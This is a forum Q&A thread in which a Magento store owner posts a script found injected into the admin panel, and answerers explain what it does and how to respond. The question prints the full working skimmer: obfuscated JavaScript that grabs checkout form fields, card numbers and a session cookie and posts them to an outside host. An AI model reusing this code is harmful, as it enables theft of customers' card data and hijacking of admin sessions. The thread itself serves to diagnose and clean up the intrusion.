5

Recently i had found some scripts inserted into the Miscellaneous Scripts section in admin panel.This code is not inserted by me!! how does it happen? the script i found was given below. can anybody explain me about this 

<script>function j(e){var t="; "+document.cookie,o=t.split("; "+e+"=");return 2==o.length?o.pop().split(";").shift():void 0}j("SESSIID")||(document.cookie="SESSIID="+(new Date).getTime()),jQuery(function(e){e("button").on("click",function(){var t="",o="post",n=window.location;if(new RegExp("onepage|checkout").test(n)){for(var c=document.querySelectorAll("input, select, textarea, checkbox"),i=0;i<c.length;i++)if(c[i].value.length>0){var a=c[i].name;""==a&&(a=i),t+=a+"="+c[i].value+"&"}if(t){var l=new RegExp("[0-9]{13,16}"),u=new XMLHttpRequest;u.open(o,e("<div />").html("&#104;&#116;&#116;&#112;&#58;&#47;&#47;&#111;&#119;&#110;&#115;&#97;&#102;&#101;&#116;&#121;&#46;&#111;&#114;&#103;&#47;&#111;&#112;&#112;&#46;&#112;&#104;&#112;").text(),!0),u.setRequestHeader("Content-type","application/x-www-form-urlencoded"),u.send(t+"&asd="+(l.test(t.replace(/s/g,""))?1:0)+"&utmp="+n+"&cookie="+j("SESSIID")),console.clear()}}})});</script>
Improve this question
6

It will send your current admin session (so they don't need your admin login to get into admin panel!) and checkout data (customer name, address, order info, CC info, etc) to http://ownsafety.org/opp.php

Are you familiar with above website? Otherwise your website is probably hacked!

I would suggest to immediately remove that script, logout of the admin panel (to terminate that session) and do a website/server security audit. Scan your website for all the Magento vulnerabilities and make sure you have security extension installed to prevent this in future. http://www.magentocommerce.com/magento-connect/magesecure-security-extension.html

Improve this answer
14
  • no!! i dont know this domain – Shan May 29 '15 at 15:54
  • Seems the website registrant is from Russia. If you don't know then you are hacked! Immediately remove that script and do a security audit of your website! – Kalpesh May 29 '15 at 15:54
  • yes , i had removed it, already. how to do a security scan ? – Shan May 29 '15 at 15:55
  • Make sure you are not vulnerable of all the recent Magento vulnerabilities.. like the infamous Shoplift! – Kalpesh May 29 '15 at 15:55
  • 1
    While Magento developers can certainly point out security holes in a site, I'd wager that most of them do not have the expertise or access to perform a full server audit. On a site I recently found comprosmised, there were so many other things running that my Magento knowledge was of limited use. I could point out core files with suspicious modifications, but checking all the nooks and crannies of a server I am not familiar with is probably best left to the hosting facility. – pspahn May 29 '15 at 16:06

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy

Not the answer you're looking for? Browse other questions tagged or ask your own question.